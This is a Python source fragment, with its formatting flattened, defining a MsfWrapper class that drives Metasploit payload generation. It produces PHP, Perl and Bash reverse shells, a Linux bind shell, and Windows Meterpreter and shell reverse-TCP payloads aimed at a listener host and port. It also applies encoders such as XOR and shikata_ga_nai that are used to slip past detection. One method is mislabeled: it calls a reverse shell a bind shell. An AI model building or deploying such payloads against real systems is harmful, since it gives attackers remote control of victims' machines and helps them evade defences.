def __init__(self): self.msfObj=MsfObj()
class MsfWrapper(object): msfObj=None def __init__(self): self.msfObj=MsfObj() def phpReverseShell(self,lhost,lport): self.msfObj.setRequestedPayload("php/reverse_php") self.msfObj.setParams(["LHOST="+lhost,"LPORT="+lport]) self.msfObj.setMode("R") def phpBindShell(self,rhost,lport): self.msfObj.setRequestedPayload("php/reverse_php") self.msfObj.setParams(["RHOST="+rhost,"LPORT="+lport]) self.msfObj.setMode("R") def winMeterpreterReverseTcp(self,lhost,lport): self.msfObj.setRequestedPayload("windows/meterpreter/reverse_tcp") self.msfObj.setParams(["LHOST="+lhost,"LPORT="+lport]) self.msfObj.setMode("X") def winMeterpreterReverseTcpRaw(self,lhost,lport): self.msfObj.setRequestedPayload("windows/meterpreter/reverse_tcp") self.msfObj.setParams(["LHOST="+lhost,"LPORT="+lport]) self.msfObj.setMode("R") def linuxBindShell(self,lport): self.msfObj.setRequestedPayload("linux/x86/shell_bind_tcp") self.msfObj.setParams(["LPORT="+lport]) self.msfObj.setMode("X") def linuxPerlReverseShell(self,lhost,lport): self.msfObj.setRequestedPayload("cmd/unix/reverse_perl") self.msfObj.setParams(["LHOST="+lhost,"LPORT="+lport]) self.msfObj.setMode("R") def linuxBashReverseShell(self,lhost,lport): self.msfObj.setRequestedPayload("cmd/unix/reverse_bash") self.msfObj.setParams(["LHOST="+lhost,"LPORT="+lport]) self.msfObj.setMode("R") def winShellReverseTcp(self,lhost,lport): self.msfObj.setRequestedPayload("windows/shell_reverse_tcp") self.msfObj.setParams(["LHOST="+lhost,"LPORT="+lport]) self.msfObj.setMode("X") def createPayload(self): msfP=MsfPayload(self.msfObj) msfP.msfLoadPayload() def encodeBase64(self): msfE=MsfEncode(self.msfObj) msfE.toBase64() def encodeXor(self,key): msfE=MsfEncode(self.msfObj) msfE.toXor(key) def encodeHex(self): msfE=MsfEncode(self.msfObj) msfE.toHex() def encodeShikataGaNai(self,times=1,arch="x86"): msfE=MsfEncode(self.msfObj) msfE.toShikataGaNai(times,arch) def encodeWinDebug(self): msfE=MsfEncode(self.msfObj) msfE.toWinDebug() def encodeBash(self): msfE=MsfEncode(self.msfObj) msfE.toBash() def getPayload(self): return self.msfObj.getPayload() def loadCustomPayload(self,payload): self.msfObj.setPayload(payload) def loadCustomPayloadFromFile(self,file): msfObj=MsfWrapper() fd=open(file,'rb') payload=fd.read() fd.close() self.loadCustomPayload(payload)